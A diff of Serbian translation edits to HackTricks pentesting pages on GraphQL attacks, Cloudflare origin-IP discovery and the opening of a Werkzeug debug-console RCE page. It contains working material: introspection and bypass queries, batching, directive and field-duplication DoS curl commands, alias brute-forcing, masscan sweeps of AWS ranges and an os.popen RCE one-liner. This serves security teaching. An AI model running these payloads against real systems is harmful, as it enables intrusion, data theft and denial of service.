GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija kroz **jedan zahtev**. Ova pojednostavljenja značajno **koriste programerima** smanjujući složenost njihovih procesa preuzimanja podataka.
|
||||
GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa prikupljanja podataka.
|
||||
|
||||
## GraphQL i bezbednost
|
||||
|
||||
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez pravilne autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
|
||||
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
|
||||
|
||||
### Napadi Brute Force na direktorijume i GraphQL
|
||||
### Napadi brute force na direktorijume i GraphQL
|
||||
|
||||
Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanje specifičnih putanja u napade brute force na direktorijume. Ove putanje su:
|
||||
|
||||
@ -24,11 +23,11 @@ Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanj
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
|
||||
Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih kroz krajnju tačku. GraphQL-ov introspekcijski sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-e.**](https://graphql.org/learn/introspection/)
|
||||
Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih preko krajnje tačke. GraphQL-ov introspekcioni sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-e.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Otisak
|
||||
|
||||
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
|
||||
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) može da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
|
||||
|
||||
#### Univerzalni upiti <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
@ -159,15 +158,15 @@ name
|
||||
}
|
||||
}
|
||||
```
|
||||
Upit za inline introspekciju:
|
||||
Inline introspection upit:
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql (imena objekata, parametre, tipove...)
|
||||
Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql-a (imena objekata, parametre, tipove...)
|
||||
|
||||
.png>)
|
||||
|
||||
Ako je introspekcija omogućena, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da u GUI-ju vidite sve opcije.
|
||||
Ako je introspekcija omogućena, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da u GUI-u vidite sve opcije.
|
||||
|
||||
### Upit
|
||||
|
||||
@ -177,11 +176,11 @@ U introspekciji možete pronaći **koji objekat možete direktno upititi** (jer
|
||||
|
||||

|
||||
|
||||
Napomena da je tip upita "_flags_" "_Flags_", i ovaj objekat je definisan kao ispod:
|
||||
Napomena da je tip upita "_flags_" "_Flags_", a ovaj objekat je definisan kao ispod:
|
||||
|
||||
.png>)
|
||||
|
||||
Možete videti da su objekti "_Flags_" sastavljeni od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:
|
||||
Možete videti da se objekti "_Flags_" sastoje od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
@ -194,7 +193,7 @@ Možete ga jednostavno upititi sa:
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
U drugom primeru gde su bila 2 objekta unutar objekta tipa "_Query_": "_user_" i "_users_".\
|
||||
Ako ovim objektima nije potrebna nijedna argumentacija za pretragu, mogli bismo **dobiti sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke:
|
||||
Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** samo **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -224,7 +223,7 @@ Ako možete pretraživati po string tipu, kao: `query={theusers(description: "")
|
||||
|
||||
### Pretraga
|
||||
|
||||
U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
|
||||
U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **email-u** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
|
||||
|
||||
Možete **pretraživati** osobe **po** **imenu** i dobiti njihove email adrese:
|
||||
```javascript
|
||||
@ -286,7 +285,7 @@ name
|
||||
|
||||
**Mutacije se koriste za pravljenje promena na serverskoj strani.**
|
||||
|
||||
U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećoj slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju):
|
||||
U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -335,7 +334,7 @@ releaseYear
|
||||
```
|
||||
### Direktiva Preopterećenja
|
||||
|
||||
Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se serveru nanele operacije dok nije moguće izvršiti DoS napad.
|
||||
Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok ne postane moguće izvršiti DoS napad.
|
||||
|
||||
### Grupisanje brute-force u 1 API zahtevu
|
||||
|
||||
@ -346,7 +345,7 @@ Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju
|
||||
|
||||
.png>)
|
||||
|
||||
Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne autentifikacione** podatke i odgovor ima ispravan token za autentifikacionu sesiju.
|
||||
Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne** podatke za autentifikaciju i odgovor ima ispravan token sesije za autentifikaciju.
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -360,7 +359,7 @@ Lepa **lista reči** za otkrivanje [**GraphQL entiteta može se pronaći ovde**]
|
||||
|
||||
### Zaobilaženje GraphQL introspekcijskih odbrana <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
Da bi se zaobišle restrikcije na introspekcijske upite u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, introspekcijski upit sa novim redom nakon `__schema` može zaobići takve odbrane:
|
||||
Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, upit za introspekciju sa novim redom nakon `__schema` može zaobići takve odbrane:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -372,7 +371,7 @@ Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi**
|
||||
|
||||
### Pokušajte sa WebSockets
|
||||
|
||||
Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a:
|
||||
Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websocket-a otkrije šemu graphQL-a:
|
||||
```javascript
|
||||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
|
||||
ws.onopen = function start(event) {
|
||||
@ -396,7 +395,7 @@ payload: GQL_CALL,
|
||||
ws.send(JSON.stringify(graphqlMsg))
|
||||
}
|
||||
```
|
||||
### **Otkrivanje Izloženih GraphQL Struktura**
|
||||
### **Otkriće Izloženih GraphQL Struktura**
|
||||
|
||||
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
|
||||
```javascript
|
||||
@ -426,15 +425,15 @@ Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**,
|
||||
|
||||
Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima.
|
||||
|
||||
Napomena je da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
|
||||
Napomena da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
|
||||
|
||||
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika.
|
||||
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih akreditiva.
|
||||
|
||||
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
## Zloupotreba WebSocket-a između sajtova u GraphQL
|
||||
|
||||
Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **zloupotrebu WebSocket-a između sajtova da bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL.
|
||||
Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **Zloupotrebu WebSocket-a između sajtova da bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL.
|
||||
|
||||
Za više informacija proverite:
|
||||
|
||||
@ -444,7 +443,7 @@ Za više informacija proverite:
|
||||
|
||||
## Autorizacija u GraphQL
|
||||
|
||||
Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevaoca, ali ne i autorizaciju.
|
||||
Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju.
|
||||
|
||||
Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leakovanih](https://hackerone.com/reports/792927).
|
||||
|
||||
@ -456,7 +455,7 @@ Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje
|
||||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||||
}
|
||||
```
|
||||
### Bypass autorizacije u GraphQL-u
|
||||
### Bypass autorizacije u GraphQL
|
||||
|
||||
[Spajanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije.
|
||||
|
||||
@ -464,15 +463,15 @@ U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL-u
|
||||
## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL
|
||||
|
||||
U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za dobijanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom.
|
||||
U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom.
|
||||
|
||||
Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
|
||||
|
||||
Razmotrite primer dat ispod, koji ilustruje kako se upiti sa aliasima mogu koristiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju brojnih kodova za popust istovremeno.
|
||||
Razmotrite primer dat ispod, koji ilustruje kako se mogu koristiti aliasirani upiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju više kodova za popust istovremeno.
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
@ -510,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih istovremeno. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server.
|
||||
U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih simultano. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server.
|
||||
|
||||
### **Ranljivost preopterećenja direktiva**
|
||||
### **Vulnerabilnost preopterećenja direktiva**
|
||||
|
||||
**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršitelj servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**.
|
||||
**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršavača servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -538,9 +537,9 @@ curl -X POST \
|
||||
```
|
||||
I zatim **koristite neke od prilagođenih**.
|
||||
|
||||
### **Ranljivost dupliranja polja**
|
||||
### **Ranljivost duplikacije polja**
|
||||
|
||||
**Dupliranje polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Napada uskraćivanja usluge (DoS)**.
|
||||
**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Napada uskraćivanja usluge (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||
@ -551,9 +550,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Skeneri ranjivosti
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene pogrešne konfiguracije graphql krajnjih tačaka
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene greške u konfiguraciji graphql krajnjih tačaka
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje korišćeni graphql
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje graphql koji se koristi
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada
|
||||
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Automatski testovi
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{{#ref}}
|
||||
https://graphql-dashboard.herokuapp.com/
|
||||
{{#endref}}
|
||||
|
||||
- Video koji objašnjava AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Otkriće CloudFlare
|
||||
# Otkrivanje CloudFlare
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uobičajene tehnike za otkrivanje Cloudflare-a
|
||||
## Uobičajene tehnike za otkrivanje Cloudflare
|
||||
|
||||
- Možete koristiti neku uslugu koja vam daje **istorijske DNS zapise** domena. Možda se veb stranica pokreće na IP adresi koja je korišćena ranije.
|
||||
- Isto se može postići **proverom istorijskih SSL sertifikata** koji bi mogli ukazivati na izvor IP adresu.
|
||||
@ -12,7 +12,7 @@
|
||||
- Na sličan način, umesto da tražite jedinstveni string, mogli biste pretraživati favicon ikonu pomoću alata: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ili sa [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
- Ovo neće često funkcionisati jer server mora slati isti odgovor kada se pristupi putem IP adrese, ali nikad ne znate.
|
||||
|
||||
## Alati za otkrivanje Cloudflare-a
|
||||
## Alati za otkrivanje Cloudflare
|
||||
|
||||
- Pretražujte domen unutar [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ili [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ili koristite alat [CloudPeler](https://github.com/zidansec/CloudPeler) (koji koristi tu API)
|
||||
- Pretražujte domen na [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
|
||||
@ -35,13 +35,15 @@ echo "Checking $ir"
|
||||
prips $ir | hakoriginfinder -h "$DOMAIN"
|
||||
done
|
||||
```
|
||||
## Otkivanje Cloudflare iz Cloud infrastrukture
|
||||
## Otkrivanje Cloudflare iz Cloud infrastrukture
|
||||
|
||||
Imajte na umu da, čak i ako je ovo urađeno za AWS mašine, može se uraditi za bilo kog drugog provajdera u oblaku.
|
||||
|
||||
Za bolji opis ovog procesa pogledajte:
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
```bash
|
||||
# Find open ports
|
||||
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
|
||||
@ -98,7 +100,7 @@ Razvijeno je nekoliko Cloudflare rešenja:
|
||||
- [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
|
||||
- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
|
||||
- [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
|
||||
- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arhiviran]
|
||||
- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arhivirano]
|
||||
- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
|
||||
|
||||
### Ojačani headless pregledači <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
@ -118,7 +120,7 @@ Neki od njih su:
|
||||
- [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
|
||||
- [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
|
||||
- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
|
||||
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) su poznati po svojim proprietarnim Cloudflare zaobilaženjima.
|
||||
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) su poznati po svojim vlasničkim Cloudflare zaobilaženjima.
|
||||
|
||||
Za one koji traže optimizovano rešenje, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) se izdvaja. Ova usluga integriše više od 20 provajdera proxy-a u jedan API, automatski birajući najbolji i najisplativiji proxy za vaše ciljne domene, nudeći tako superiornu opciju za navigaciju Cloudflare-ovim odbranama.
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Console RCE
|
||||
|
||||
Ako je debug aktivan, možete pokušati da pristupite `/console` i dobijete RCE.
|
||||
@ -13,9 +12,9 @@ __import__('os').popen('whoami').read();
|
||||
|
||||
Takođe postoji nekoliko eksploita na internetu kao što je [ovaj](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u.
|
||||
|
||||
## Zaštićeno PIN-om - Putanja Traversal
|
||||
## Zaštićeno PIN-om - Putanja Prelaz
|
||||
|
||||
